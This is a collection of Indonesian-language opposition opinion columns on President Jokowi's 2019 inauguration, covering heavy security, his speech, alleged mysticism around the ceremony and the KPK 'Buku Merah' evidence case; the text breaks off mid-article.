pantas dijadikan teladan bagi masyarakat. Sedang menuju kemana peradaban bangsa kita?! Berjalan mundur kah?! Na'udzubillahi min dzaalik! Tepat ketika adzan Maghrib berkumandang, saya segera beranjak menuju kamar mandi untuk berwudhu. Entah kenapa, hati saya melow banget, miris rasanya membayangkan keseluruhan proses rutin 5 tahunan "pesta demokrasi" yang menelan dana 24 trilyun, mengorbankan hampir 700an petugas penyelenggara pemilu dan para saksi di berbagai daerah, belum lagi ekses-ekses yang terjadi sesudahnya dimana ada banyak darah tertumpah, bahkan nyawa anak-anak muda, remaja, yang harus melayang terkena popor senjata atau tertembus peluru. Ngiluuu...hati saya. Alhasil, sejak takbiratul ihram, Allaahu Akbar, air mata saya sudah mengalir. Makin deras menganak sungai ketika saya baca doa Iftitah, terutama ketika sampai lafadz "inna sholati, wa nusuki, wa mahyaaya wa mamaati liLlahi Robbil 'aalamiin..." Berkelebat selintas rekam jejak perjuangan betapa kami, sebagian anak bangsa, sejak 1,5 tahun lalu meng-azam-kan niat ingin mengganti pemimpin nasional. Namun sayang, endingnya ya seperti sekarang ini. Apakah kemarin kita – terutama saya – salah dalam meniatkan perjuangan?! Adakah kita salah dalam menempuh caranya?! Ya Robb kami, hamba mohon ampun jika ikhtiar kami keliru. Dan atas ijinMU, atas kehendakMU, apa yang kami upayakan belum berhasil. Tangisan saya kian menjadi ketika membaca surah al Fatihah sambil memahami maknanya ayat demi ayat. Sampai kalimat "iyya ka na' budu, wa iyya ka nasta'iin..." saya semakin merasa kecil. Begitu pula saat rukuk dan sujud, juga saat duduk antara 2 sujud. Apalagi saat sujud, rasanya terbayang neraka yang apinya menyala-nyala, hiii... allahumma ajirna minannaar... Ampuni kami yang lemah ini, yang tak mampu melarang, mencegah kemusyrikan itu, Ya Allah. Jadinya, 3 rakaat sholat saya dipenuhi dengan cucuran air mata. Seusai sholat, setelah istighfar, dzikir dan membaca doa (pagi) petang, saya buka surah Al Mulk. Tadi pagi di acara Khazanah saya mendengar katanya Rasulullah Muhammad SAW tidak tidur di malam hari sebelum beliau membaca surah AL MULK. Ternyata ini surah Makkiyah, artinya diturunkan di Mekkah, hanya 30 ayat, Al Mulk artinya "Kerajaan". Saya baca artinya sampai habis, tampaknya memang surat ini cocok dibaca kaum Muslimin Indonesia saat ini. Agar tidak tergelincir aqidahnya. Agar tidak takut rejekinya tertahan, sebab yang bisa menahan rizki itu hanya Allah. Dan apabila Allah menahan rizki kita, maka tidak ada makhluk apapun yang mampu memberi rizki, tidak juga penguasa. Yuk, mari, kita kencangkan doa-doa. Setidaknya, meski kemungkaran merajalela, orang bangga bermaksiat, at least masih ada, bahkan banyak, hamba Allah di negeri ini yang TAKUT akan adzabNYA yang sangat pedih! Kita berharap, semoga dengan doa-doa kita, mampu menahan datangnya murka Allah. Insyaa Allah, aamiin... 19 Okt 2019 (Iramawati Oemar)

Pelantikan Jokowi dan Kesabaran Revolusioner: Sebuah Renungan

Tema pengamanan ini berbeda dengan tema pelantikan Jokowi pada 2014. Saat itu temanya pesta rakyat, riang gembira, pesta pora. Dengan tema pengamanan tersirat bahwa kekuatan yang mengancam Jokowi menjelang pelantikan ini sangatlah besar. Oleh Dr. Syahganda Nainggolan, Sabang Merauke Circle Jakarta, FNN - Jokowi akan dilantik sebentar lagi di gedung MPR RI. Seluruh dukun telah bergerak mengamankan peristiwa ini. Bahkan iblis terbesar penguasa laut, Nyi Roro Kidul, diundang para dukun itu untuk pengamanan. Puluhan ribu TNI Polri di seluruh pelosok negeri juga akan mengamankan pelantikan ini, khususnya 30.000 personel di Jakarta. Berbagai rute transportasi melintasi Gd. MPR dan Istana dibatasi. Kereta Api, Serpong Tanah Abang misalnya, hanya berhenti sampe stasiun Kebayoran Lama, tidak ke Tanah Abang agar tidak melintasi Gd. MPR. Car Free Day si batasi. Semua tema pengamanan menjadi sentral topik berita dan chit-chat rakyat di media sosial. Tema pengamanan ini berbeda dengan tema pelantikan Jokowi pada 2014. Saat itu temanya pesta rakyat, riang gembira, pesta pora. Dengan tema pengamanan tersirat bahwa kekuatan yang mengancam Jokowi menjelang pelantikan ini sangatlah besar. Siapakah dan atau apakah ancaman tersebut? Pada tahun 2014, Prabowo beroposisi terhadap Jokowi. Baik dalam sikap maupun dalam agenda di DPR dan pernyataan publik. Namun, saat ini, Prabowo sudah tunduk pada Jokowi. Prabowo kemungkinan akan diberikan jatah 2 menteri plus satu jatah wakil menteri, termasuk dirinya akan menjadi Menteri Pertahanan. Dari sisi siapa, tentu seharusnya ketundukan Prabowo pada Jokowi membuat kekuasaan Jokowi sempurna. Jika sempurna maka pesta rakyat 2019 harusnya lebih besar dari pesta rakyat 2014 lalu. Tesis ini ternyata gagal. Topik dan anggaran pengamanan Jokowi mendominasi. Ini dapat berarti Prabowo bukanlah pemimpin yang mempunyai kekuatan, setidaknya kekuatan riil alias bukanlah macan benaran tapi mungkin dia hanya macan ompong. Lalu siapa musuh Jokowi itu? Habib Rizieq tentu tidak punya kekuatan menggerakkan Jin Ifrid sehingga perlu dihadang Nyi Roro Kidul. Kekuatan Rizieq adalah kekuatan sikap, menyatakan tidak mendukung Jokowi dan pemerintahannya. Karena menurut Rizieq kemenangan Jokowi adalah illegal. Tapi untuk apa 30.000 pasukan TNI Polri di siapkan mengamankan sebuah pesta? jika itu pesta kemenangan? Kesulitan mencari siapa atau sosok musuh Jokowi membuat kita pindah pada pertanyaan apakah ancaman terhadap pelantikan Jokowi? Pertanyaan ini merujuk pada situasi bukan sosok. Pertanyaan ini bersifat lebih abstrak. Sebuah kekuasan memerlukan moral dan legitimasi. Moral dan legitimasi adalah spirit dan substansi. Sebuah sakral. Berbeda dengan legalitas. Legalitas adalah pengakuan hukum formal. Legalitas dapat diperoleh melalui jalan baik, namun juga dapat melalui jalan jahat. Machiavelli, Sang Guru Politik Italia, mengajari kekuasaan tanpa moralitas. Menurutnya kekuasaan tidak ada yang jahat. Katanya, "cambuklah musuhmu 100 kali, lalu besoknya cambuklah hanya 99 kali, maka kamu akan menjadi pemimpin yang baik di mata dia" Namun, secara general, kekuasaan berkaitan dengan moral dan legitimasi tadi. Sebuah kekuasaan yang diperoleh dan dijalankan tanpa moral dan legitimasi umumnya menghantui pikiran pemimpin itu setiap malam. Commodus, raja Roma di masa kuno, dalam film Gladiator, misalnya, menjadi raja tanpa moral dan legitimasi. Dia menjadi raja menggantikan ayahnya, Raja Marcus Aurelius, setelah membunuh secara rahasia ayahnya, dan menuduh pembunuhnya adalah Maximus, jenderal kesayangan kerajaan. Senat memberi legalitas pergantian raja dan pesta besar2an dilakukan. Namun, tanpa moral dan legitimasi, Commodus, menjadi raja yang paranoid. Commodus harus menyingkirkan semua elemen kekuatan yang dicurigai memusuhinya. Commodus menggunakan uang negara besar2an untuk memanipulasi adanya dukungan sah rakyat. Apakah Jokowi mengerahkan pengamanan besar2an karena soal legitimasi dan moral? kita belum mengetahui secara pasti, namun dari sisi ancaman sosok, tentu dengan Prabowo mengemis jadi menteri Jokowi, soal sosok setidaknya tak ada lagi. Kesabaran Revolusioner Berbagai isu miring tetap diarahkan rezim Jokowi bahwa kekuatan2 yang akan menggagalkan pelantikan Jokowi eksis. Projo, organ pemenangan Jokowi, menyebarkan spanduk diberbagai penjuru ibukota "Kawal Terus Pelantikan Jokowi-Makhruf Amin". Polri mengidentifikasi ada rencana bom bunuh diri. Nasdem mengatakan "pendukung #02 belum move on" Dll berita media online. Termasuk mengaitkan gerakan demo mahasiswa kemarin dengan urusan pengggalan pelantikan. Bagi pendukung #02, tentu saja tuduhan atau penggiringan penggagalan pelantikan Jokowi terhadap mereka adalah sebuah "misleading". Dari berbagai media yang dapat kita pantau tidak satupun pernyataan Habib Rizieq Sihab, pemimpin oposisi utama, menyatakan seruan penggagalan pelantikan. Begitu juga ulama2 sentral dalam ijtima Ulama, tidak ada satupun yang melakukan gerakan makar itu. Seruan penggagalan misalnya datang dari Sri Bintang Pamungkas, tapi Sri Bintang sudah menyerang Jokowi sejak kasus makar 2016 lalu. Dan Sri Bintang tidak mengaitkan dimensi waktu dalam melawan Jokowi. Abdul Basith yang dituduh akan melakukan serangan Bom Molotov (bukan bom C4), dan membuat kekacauan, bukanlah ulama atau figur sentral dalam gerakan ijtima Ulama maupun kekuatan non ulama anti Jokowi. Sehingga, kelompok masyarakat yang tidak memberikan legitimasi dan moral bagi kekuasaan Jokowi, sesungguhnya tidak melakukan gerakan penggagalan atas pelantikan Jokowi. Dari segi ini, maka Habib Rizieq dan kekuatan rakyat (underground) yang menyatakan atau merasakan tidak mendukung Jokowi pada periode kedua ini, mempunyai kemampuan mengendalikan diri, sehingga tidak terpancing pada politik kekuasaan kontemporer. Ini adalah sebuah kemajuan besar politik umat Islam, khususnya, dan rakyat oposisi umumnya, yakni memelihara kesabaran (meski mungkin terhina telah mendukung Prabowo?). Politik dengan kesabaran adalah sebuah politik ajaran nabi, bukan Machiavelli. . Melihat politik bukan sekedar ambisi berkuasa, mengemis-ngemis jadi menteri, merampok harta negara, dlsb. Politik kesabaran adalah politik merujuk pada John Lock, bahwa pemimpin adalah sebuah pengabdian pada kontrak sosial. Menjadikan rakyat sebagai penguasa sesungguhnya. Pada saat ini kita akhirnya mengetahui sebuah fakta sosial: rezim Jokowi membangun tema keamanan, sedangkan Rizieq Sihab dan kaum oposisi mengutamakan kesabaran revolusioner.

Pak De, Ini Pidato Pelantikan atau Kampanye Pilpres?

Oleh : Nasrudin Joha Jakarta, FNN - Sekilas, tanpa sengaja saya memutar tivi dan terlihat siaran langsung pidato kenegaraan Presiden terpilih periode 2019-2024. Sebelum akhirnya chanel TV dipindah oleh anak untuk khusuk menonton SpongeBob Squarepant, karena suasana bathin juga tak nyaman berlama-lama mendengar pidato Presiden. Namun, sekilas penulis menangkap ada dua kutipan substansi penting pidato presiden terlantik yang menarik untuk dikomentari : Pertama, saya tercengang (hampir saja jatuh dari kursi), ketika Jokowi selaku Presiden terlantik dengan bangga menyebut pendapatan per kapita rakyat negeri ini sebesar 324 juta per tahun. Awalnya Saya fikir Jokowi salah kutip. Namun pada pidato selanjutnya, Jokowi mempertegas pendapatan per kapita itu jumlahnya 27 juta per bulan. Satu jumlah yang tentu saja jika benar sangat membanggakan. Pendapatan ini sangat fantastis, karena dengan pendapatan ini rakyat sebenarnya tidak perlu ngeluh dengan kenaikan iuran BPJS yang menurut dirut BPJS hanya naik 5000 perak/hari. Angka pendapatan, yang seharusnya membuat rakyat di negeri ini bisa plesir ke Singapura setahun sekali, atau minimal ke Bali lah. Walau sudah yakin ini pasti ngibul, tetapi penulis perlu meyakinkan diri ini. Perlu memastikan bahwa apa yang barusan didengar dari Presiden yang baru dilantik adalah hoax. Setelah beberapa detik Googling, penulis mendapatkan data dari Badan Pusat Statistik (BPS) yang mencatat produk domestik bruto (PDB) per kapita Indonesia memang meningkat. Namun, angkanya hanya US$ 3.927 atau sekitar Rp 56 juta per kapita per tahun di 2018. Angka tersebut naik dibandingkan tahun 2017 Rp 51,9 juta dan 2016 Rp 47,9 juta. "PDB 2018 Rp 56 juta disetarakan US$ 3.927 per kapita, lebih tinggi dibandingkan 2016 dan 2017," begitu kata Kepala BPS Suhariyanto di Kantor Pusat BPS, Jakarta Pusat, Rabu (6/2/2019). Saya tidak tahu apakah ada data terbaru setelah per 6 Februari 2019. Tapi, mustahil angka 56 juta per tahun ini bisa meledak menjadi 324 juta per tahun. Sulit juga nalar ini membenarkan bahwa pendapatan per kapita rakyat saat ini 27 juta per bulan. Itu fantastis ! Fantastis ngibulnya. Semoga pada pidato lanjutannya ada keterangan yang merevisi, karena chenel tivi memang sudah dipindah ke film kartun SpongeBob. Kedua, penulis sempat juga menangkap pidato Presiden terpilih yang berjanji akan memastikan program pemerintahan, program birokrasi itu terdeliveri. Bukan sekedar dikirim. Bahkan, untuk kualitas pidato bahasa Inggris Jokowi yang ala kadarnya, Jokowi sempat mengunggah satu istilah 'making delivery'. Sontak saja pidato ini dihadiahi riuh tepuk tangan para hadirin. Tidak cukup itu, Presiden terlantik juga mengungkapkan yang dibutuhkan itu hasilnya bukan prosesnya. Prosesmya, programnya menurut Presiden terlantik sudah dilakukan. Namun dampaknya, hasilnya belum atau tidak dirasakan masyarakat. Mungkin maksud Presiden terlantik, Kedepan dirinya akan mengubah gaya kepemimpinan yang sebelumnya berorientasi pada proses, orientasi pada program, diubah pada gaya Pemerintahan yang berorientasi kepada hasil, berorientasi kepada rakyat. Namun kita semua paham, problemnya bukan pada orientasi kepemimpinan, bukan pada program atau target kegiatan, problemnya ada pada kapasitas dan kapabilitas. Kekuasan saat ini diselenggarakan oleh otoritas yang tidak cakap, tidak qualifite. Ibaratnya, urusan kecamatan yang ditangani oleh ketua RT. Wajar saja dahulu JK menyebut jika Jokowi jadi Presiden bisa Ancur bangsa ini. Nampaknya, inilah yang sedang terjadi. Kembali ke materi sambutan Presiden terlantik Jokowi, seharusnya Presiden bicara tentang narasi bangsa yang fokus pada visi, bukan langsung menerjemahkan pada misi apalagi yang sifatnya teknis. Proses mendelivery tugas pemerintahan itu teknis saja. Justru desain besarnya, itu bagaimana membangun narasi besar -melalui pidato Presiden terlantik- agar seluruh komponen anak bangsa bisa bersinergi mengeksekusi visi besar bangsa Indonesia. Lebih penting, adalah bagaimana Jokowi membuat jembatan penghubung melalui visi bersama yang diterima para pihak, agar keterbelahan bangsa ini segera diakhiri. Lagi-lagi, saya tidak bisa memaksa. Ini bukan terkait pidato biasa atau lomba deklamasi tingkat RT. Ini terkait kapasitas dan kapabilitas. Asyari Usman pernah menulis soal ini. Pidato Jokowi lebih mirip pidato kampanye Pilpres ketimbang pidato kenegaraan seorang Presiden yang baru saja dilantik. Apa yang disampaikan substansinya tidak jauh beda denga apa yang pernah diterima publik saat kampanye Pilpres beberapa waktu lalu. Saya harus memaklumi, realitasnya kapasitas dan kapabilitas Jokowi memang cuma segitu. Mau diapakan lagi ? [].

Lebih Baik Bersama Rakyat Ketimbang Pesta di Atas Luka

Oleh : Nasrudin Joha Jakarta, FNN - Saya, tetap memilih menahan diri untuk terus bersama rakyat, menambal perih dan luka rakyat yang menganga, dan tdk ingin sedikitpun membubuhkan garam diatas luka itu. Saya paham dan sangat merasakan, betapa pedih dan sakitnya penderitaan yang dialami rakyat. Ayah Harun dan Reyhan, keduanya hingga saat ini tidak tahu kepada siapa akan memberi maaf, atas hilangnya putra tercinta. Untaian kata maaf, yang dipersiapkan bagi pihak yang melakukan tindakan keji kepada anak mereka, tdk bisa disampaikan karena hingga saat ini polisi tidak bisa menemukan pihak yang bertanggungjawab atas derita yang mereka alami. Seorang ayah, yang telah melabuhkan semua harapan kepada putra tercinta, yang memeras keringat dan membanting tulang demi masa depan sang putra, harus mengecap getirnya kenyataan, bahwa masa depan putra mereka telah direnggut, telah sirna dan tinggal cerita. Semoga diberi kesabaran dan keteguhan, Duhai ayah Harun dan ayah Reyhan. Keluarga dua mahasiswa di Kendari, juga tak mampu mengunggah doa, ampunan kepada siapa dimohonkan. Karena hingga saat ini, polisi tak bisa mengungkap pelaku pembunuhan mahasiswa di Kendari. Polisi, yang gagah mengejar bahkan menangkap 40 orang terduga teroris bermodal insiden 'jari kelingking Wiranto' hingga saat ini juga tak mampu mengeja nama, siapa yang menembak mahasiswa hingga tewas. Mereka, hanya bisa memproses 7 polisi yang membawa senjata tajam, tapi tak mampu menemukan siapa yang menggerakan jari telunjuknya ke pelatuk senjata, sehingga timah panas itu menembus dada mahasiswa, hingga menjemput ajal. 700 anggota KPPS yang tewas, korban Barisan Emak Militan, Korban tragedi 21-22 Mei, hingga korban genosida Wamena. Mereka, yang dibakar hidup-hidup, di perkosa hingga meninggal, semua itu tak mungkin terlupakan. Tak mungkin, jiwa ini terbawa suasana pesta pora istana, merayakan kemenangan diatas bangkai penderitaan umat. Tidak ! Saya akan tetap berada dan bersama umat, mereka kaum terzalimi, kaum mustad'afin. Mr. Presiden, Silahkan lafadzkan sumpah buaya, yang dahulu juga kau ucapkan dan telah terbukti kau ingkari. Kami sudah tak butuh redaksi itu lagi, kami meyakini redaksi itu dusta belaka. Mr. Presiden, jangan paksa kami bahagia setelah berbagai beban kau timpakan kepada kami. Beban BPJS, tarif listrik, tol, PHK dimana-mana, kerja susah usaha payah, semua itu jelas kami rasakan. Ini nyata, bukan sinetron. Karena itu, biarlah kami menanggung beban ini. Entah apa yang merasukimu tuan Presiden ? Teganya, engkau memaksa kami bahagia sementara batin kami dalam keadaan menjerit menahan sakit. Ingin rasanya, kami berdoa agar semua beban ini segera berakhir. Namun kenyataannya, pelantikan itu mengabarkan kepada kami, kami diminta untuk bersabar dalam tempo lima tahun lagi. Jangan cemas Mr. Presiden, Anda telah mengajari kami bagaimana bersabar, dan ikhlas menghadap segala ujian. Kami telah siap, untuk berjuang dan terus melakukan perlawanan, bukan hanya untuk lima tahun Kedepan, tapi sampai kapanpun, sampai ajal menjemput, atau tuan Presiden yang mendahului kami dijemput malaikat ijrail. Kami meyakini, pertolongan Allah SWT itu begitu dekat, pertolongan itu ada bersama umat, bersama ulama, bukan bersama Anda dan dukun-dukun Anda, bukan pula bersama Anda dan seluruh hantu jin perewangan Anda. Sorry tuan Presiden, saya lebih berbahagia berada bersama umat, ketimbang menghadiri pesta sadis yang Anda selenggarakan. Senang-senanglah, hanya ingat semua pasti ada saatnya. Ajal kekuasan, itu bisa berlaku kapan saja, tak selalu menunggu ritual lima tahunan. [].

Misteri Buku Merah KPK Kembali, Cicak vs Buaya Jilid Baru?

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Tak ada angin tak ada hujan, tiba-tiba kasus “Buku Merah KPK” kembali mencuat. Apakah ada agenda bersih-bersih di internal KPK? Dan, siapakah yang diuntungkan atau dirugikan? Benarkah KPK sarat dengan kepentingan? Sejumlah pertanyaan tersebut tentu saja mengemuka seiring dengan mencuatnya kembali kasus Buku Merah. Sebab, diduga “penghangusan” alat bukti yang menyeret orang “berpengaruh” terjadi di sana. Bukan main-main, dugaan keterlibatan orang berpengaruh itu menyeret orang nomor satu di institusi Kepolisian RI. Apalagi, bersamaan dengan mencuatnya ini, Presiden Joko Widodo menagih kasus Novel Baswedan yang belum “tuntas”. Siapa lagi yang dimaksud kalau bukan Kapolri Jenderal Polisi Tito Karnavian! Nama Tito Karnavian tertulis sebagai penerima dana dalam 7 lembar Buku Merah yang diduga disobek oleh penyidik KPK dari unsur Kepolisian tersebut. Rekaman CCTV di kantor KPK pada 7 April 2017 mengungkap dugaan perusakan buku laporan keuangan CV Sumber Laut Perkasa milik pengusaha Basuki Hariman, terpidana penyuap hakim konstitusi Patrialis Akbar. Video tersebut didapatkan dan ditayangkan sejumlah media massa yang tergabung dalam IndonesiaLeaks, sebuah platform jurnalisme investigasi kolaboratif. Temuan lain dalam investigasi itu adalah dugaan aliran dana ke Tito Karnavian. Dalam laporan investigasi tersebut, salah satunya yang ditayangkan Tirto.id, IndonesiaLeaks menduga perusakan buku catatan yang disebut sebagai “buku merah” itu dilakukan beberapa penyidik KPK dari unsur Kepolisian. Dalam laporan IndonesiaLeaks itu juga menduga, perusakan tersebut satu rangkaian dengan penyerangan terhadap penyidik KPK, Novel Baswedan. Pada 11 April 2017, Novel disiram air keras oleh orang tak dikenal. Namun, hingga batas waktu 19 Oktober 2019 ini, belum ada satu pun tersangka penyerangan itu yang ditangkap, meski Polri telah membentuk tim gabungan pencari fakta dan tim teknis. Temuan lain dalam investigasi IndonesiaLeaks itu adalah dugaan aliran dana dari perusahaan milik Hariman Basuki kepada pejabat Polri. Direktur LBH Pers, Ade Wahyudin, menyebut laporan investigasi IndonesiaLeaks itu sebagai wujud nyata fungsi kontrol sosial yang diemban pers. Menurut Ade Wahyudin, setiap pihak dalam berita itu, yang keberatan dikaitkan dengan dugaan perbuatan hukum, dapat mengajukan komplain atau keberatan sesuai ketentuan UU 40/1999 tentang Pers. “Laporan ini sudah melalui proses jurnalistik. Kalau ada yang dianggap merugikan pihak tertentu, mekanismenya adalah hak jawab,” kata Ade Wahyudin kepada BBC Indonesia, Jumat (18/10/2019). LBH Pers merupakan salah satu mitra dalam kerja kolaboratif IndonesiaLeaks. Kelompok masyarakat sipil lain dalam platform ini antara lain ICW, Greenpeace, dan Auriga. Adapun beberapa media massa yang tercatat sebagai anggota IndonesiaLeaks adalah Tempo, Tirto.id, dan Kantor Berita Radio (KBR). Ade Wahyudin menilai kepolisian semestinya menindaklanjuti fakta-fakta yang ditemukan dalam laporan investigasi ini. Namun, sayangnya pihak Kepolisian tampaknya enggan bicara terkait dengan laporan IndonesiaLeaks tersebut. BBC sudah berusaha menghubungi Kepala Divisi Humas Polri, Irjen Muhammad Iqbal, dan Kepala Biro Penerangan Masyarakat Polri, Brigjen Dedi Prasetyo, untuk mengkonfirmasi langkah Polri terkait temuan jurnalistik tersebut. Juru bicara KPK, Febri Diansyah, juga tidak menjawab pertanyaan tentang tindak lanjut laporan investigasi IndonesiaLeaks. Ia mengatakan, KPK sudah lama menyerahkan salinan rekaman CCTV kepada penyidik Polri dengan alasan untuk kepentingan penanganan kasus. “Dan salinan CCTV itu tadi saya cek juga ke bagian pemeriksa internal, salinan CCTV itu juga sudah pernah disampaikan sebelumnya ke pihak Polri untuk kebutuhan pemeriksaan lebih lanjut,” ujar Febri kepada wartawan, Jumat (18/10/2019). KPK menyerahkan salinan rekaman CCTV ketika penyidik Polda Metro Jaya memeriksa sejumlah pegawai KPK pada Oktober 2018 untuk menyelidiki dugaan perusakan buku merah di Gedung KPK pada 7 April 2017. IndonesiaLeaks menyebut di salah satu buku merah itu ada catatan pengeluaran uang dari CV Sumber Laut Perkasa milik pengusaha Basuki Hariman ke sejumlah pejabat dari berbagai instansi negara, termasuk petinggi polisi. LBH Pers mendorong para pejabat publik yang berkaitan dengan isu perusakan buku merah untuk angkat bicara. Alasannya, ada kepentingan publik dalam persoalan itu. “Keputusannya ada di narasumber, mengklarifikasi atau diam saja,” kata Ade Wahyudin. Tapi, sebaiknya terbuka, kalau memang ada yang keliru atau proses hukum memang sedang berjalan, katakanlah kepada publik karena ada kepentingan publik dalam isu ini. Jika tentang persoalan pribadi, pejabat berhak diam. "Jadi sebaiknya pejabat publik bersuara dalam isu ini," tegasnya. Platform peraih penghargaan Udin Award Tahun 2018 dari Aliansi Jurnalis Independen (AJI) ini merupakan wadah publik untuk menyampaikan informasi kepada media massa anggota IndonesiaLeaks. Salah satu tujuan dari pembentukan platform ini adalah memperkuat peran media massa guna mengawasi dan membongkar korupsi dan memberi tempat bagi kelompok yang terbungkam. Basis kerja pengiriman informasi publik ke IndonesiaLeaks adalah anonimitas atau kerahasiaan pemberi sumber awal. Karena situs yang terenkripsi, IndonesiaLeaks juga tidak dapat melacak pemberi informasi. Hingga saat ini, tidak ada satu pun keterangan dari mana mereka mendapatkan rekaman CCTV yang memperlihatkan dugaan perusakan alat bukti KPK. Dalam laporannya, Tempo menyebut rekaman yang mereka terima berdurasi 1 jam 48 menit. Rekaman itu mereka terima pertengahan 2019. Proses kerja jurnalistik IndonesiaLeaks sama dengan platform serupa di beberapa negara, seperti LeaksNG (Nigeria), Publeaks (Belanda), dan Mexicoleaks (Meksiko). Awal pendiriannya Desember 2017, IndonesiaLeaks mendapat asistensi Global Investigative Journalism Network, jejaring pers yang bergiat di laporan mendalam dan investigatif. Copy rekaman CCTV yang viral sekarang ini jelas menampar Jenderal Tito. Pasalnya, KPK sudah menyerahkan salinan rekaman CCTV ketika penyidik Polda Metro Jaya memeriksa sejumlah pegawai KPK pada Oktober 2018 untuk menyelidiki dugaan perusakan buku merah di Gedung KPK pada 7 April 2017. Ditagih Presiden Bersamaan dengan viralnya rekaman CCTV “perusakan” barang bukti Buku Merah oleh 2 oknum penyidik dari Kepolisian itu, Presiden Joko Widodo menagih Jenderal Tito terkait perkembangan kasus penyiraman air keras pada penyidik KPK Novel Baswedan. Hal itu disampaikan Kepala Staf Presiden Moeldoko. Sebelumnya, pada 19 Juli 2019, Jokowi memberi waktu tiga bulan kepada Jenderal Tito untuk mengusut kasus penyerangan terhadap Novel setelah Tim Pencari Fakta menyelesaikan tugasnya pada bulan yang sama. “Kebiasaan yang dijalankan oleh Pak Jokowi begitu. Selalu mengecek atas perkembangan pekerjaan yang telah beliau perintahkan,” kata Moeldoko, di Kantor KSP, Jakarta, Jumat (18/10/2019). Pada Juli 2019 lalu, Presiden Jokowi mengapresiasi kerja TPF bentukan Polri selama enam bulan ke belakang. Ia pun berharap hasil kerja TPF bisa ditindaklanjuti oleh tim teknis yang diketuai Kepala Bareskrim Komisaris Jenderal Idham Azis. Ketika itu Presiden Jokowi menyatakan penyiraman air keras ke Novel bukan kasus yang mudah. Menurutnya, jika kasus yang menimpa salah satu penyidik senior KPK itu mudah, maka dalam waktu satu sampai dua hari pelaku sudah bisa diungkap. Saat ditanya apakah akan membentuk Tim Gabungan Pencari Fakta (TGPF) independen jika dalam waktu tiga bulan tim teknis belum berhasil mengungkap pelaku penyiraman air keras ke Novel Bawesdan, saat itu Jokowi mengaku akan melihat hasilnya terlebih dahulu. “Saya beri waktu tiga bulan, saya lihat nanti setelah tiga bulan hasilnya kayak apa. Jangan sedikit-sedikit larinya ke saya, tugas Kapolri apa nanti,” ujarnya. Hampir 3 bulan usai Jokowi menyampaikan hal itu, belum terdapat tanda-tanda Polri berhasil mengungkap siapa pelaku penyiraman air keras terhadap salah satu penyidik senior lembaga antirasuah itu. Polri seakan jalan di tempat menangani kasus tersebut. Adakah viralnya rekaman CCTV perobekan barang bukti Buku Merah oleh 2 penyidik dari Kepolisian tersebut untuk menekan Jenderal Tito? Apakah ini bisa disebut sebagai perang Cicak versus Buaya Jilid Baru? ***

Inaugurasi Horor

Oleh M Rizal Fadillah Jakarta, FNN - 2O Oktober 2019 adalah hari inaugurasi Presiden dan Wakil Presiden. Heboh sekali rasanya penghelatan politik ini. Ada nuansa ketakutan yang sangat, sehingga situasinya mencekam. Ada horor di sana. Horor isu penggagalan pelantikan, sehingga disiapkan perlindungan di banyak matra. Pasukan militer dan polisi mendominasi. Puluhan ribu bagaikan ada yang hendak kudeta. Dukungan kekuatan partai pendukung sudah pasti dan yang unik adalah pasokan mahluk halus yang diundang Ki Sabdo. Konon dari pengakuannya, itu perintah Jokowi. Segala jenis pasokan hadir dari Nyi Loro Kidul Nyi Blorong hingga Jin Kahyangan. Katanya lengkap. Dari aspek keagamaan banyak yang mengelus dada karena salah satu yang dilantik adalah seorang Kyai Ketua Umum MUI yang tidak (mau) mengundurkan diri. Tentu dilengkapi dengan banyaknya jabatan lain yang dipegang. Mistik mistik menyebabkan Negara Ketuhanan bergeser menjadi Negara Kehantuan. Tragis. Ketika viral "Ki Sabdo" menjampi jampi Gedung DPR/MPR RI teringatlah pada "penasehat" Raja Brawijaya yang bernama "Sabdo Palon". Ketika Majapahit dikalahkan oleh Kesultanan Demak maka Raja Majapahit Brawijaya masuk Islam. Penasehat "dedemit" nya Sabdo Palon diajak masuk Islam, tetapi ia menolak dengan keras dan berucap "Sabdo Palon matur sugal yen kawula boten ngrasuka agama Islam. Wit kula puniki yekti Ratuning Dang Hyang tanah jawi. Momong marang anak putu Sagung kang para Nata Wus pinasthi sayekti pisahan". Intinya Sabdo Palon adalah "dedemit" pengasuh pemimpin tanah Jawa, daripada masuk Islam lebih baik berpisah dengan Brawijaya. Dan ia bersumpah akan bangkit lagi mengganti agama Islam. "Kula gantos Kang agami" katanya. Sabdo yang memasukkan banyak dedemit ke gedung DPR/MPR untuk memproteksi pelantikan menjadi fenomena baru yang memprihatinkan bangsa. Semakin merenung bisa bisanya Pak Jokowi yang selalu bersemangat jadi imam Shalat dan Pak Ma'ruf Amin yang Kyai sampai sangat toleran dan terpapar oleh mistisisme. Kemusyrikan yang menguasai dan mengendalikan politik. Rupanya aksi demo mahasiswa yang masif hendak dihadapi oleh para "dedemit" dari berbagai spesies dan genus. PasukanTNI dan Polri yang berjumlah puluhan ribu kalah pamor dan efektif oleh pasokan Dedemit dibawah komando Sabdo. Sungguh suatu pelecehan. Sejarah akan mencatat inilah inaugurasi terhoror sepanjang sejarah. Pasca pelantikan bisa bisa komunitas dedemit akan terus ikut mengisi ruang istana. Sehingga suasana magis meliputi penjuru Istana itu. Saran saja untuk Pak Jokowi, contohlah Raja Brawijaya yang rela "diceraikan" dirinya oleh Sabdo Palon demi agama Islam. Dunia mistik membuat Allah SWT tidak ridlo. Ulama, umat, dan kaum rasional akan melawan kemusyrikan dan kebodohan. Lengser keprabon merupakan sebuah keniscayaan. *) Pemerhati Politik Madinah, 20 Oktober 2019

Anomali-Anomali Pelantikan Presiden

Oleh Hersubeno Arief Jakarta, FNN - Pelantikan Jokowi sebagai Presiden RI periode kedua (2019-2024) penuh dengan anomali. Aneh, ganjil dan banyak kelainan. Anomali pertama. Harusnya pelantikan ini menjadi pesta rakyat. Penuh sukacita. Bangsa Indonesia merayakan suksesnya pesta demokrasi. Rakyat malah dijauhkan. Diwaspadai. Ditakuti. Lihatlah apa yang terjadi di Jakarta hari ini. Suasananya sungguh tegang. Seperti mau perang. Negara dalam kondisi darurat. Aktivitas warga dibatasi. Polisi, tentara, sampai petugas Satpol PP bertebaran di sepanjang sudut kota. Banyak di antaranya mengenakan pakaian sipil, mengamati pergerakan warga dengan waspada. Jalan-jalan utama ditutup untuk umum. Ruas jalan di seputar gedung MPR/DPR, seputar istana presiden dan berbagai ruas jalan protokol yang menghubungkannya tak bisa dilalui. Jalan-jalan utama itu ditutup aksesnya untuk rakyat. Hanya petugas keamanan dan pihak yang berkaitan langsung dengan pelantikan presiden dan wakil presiden yang boleh melaluinya. Kegiatan car free day, olahraga pekanan warga Jakarta sepanjang jalan MH Thamrin dan Sudirman ditiadakan. Kawasan Monas juga ditutup untuk 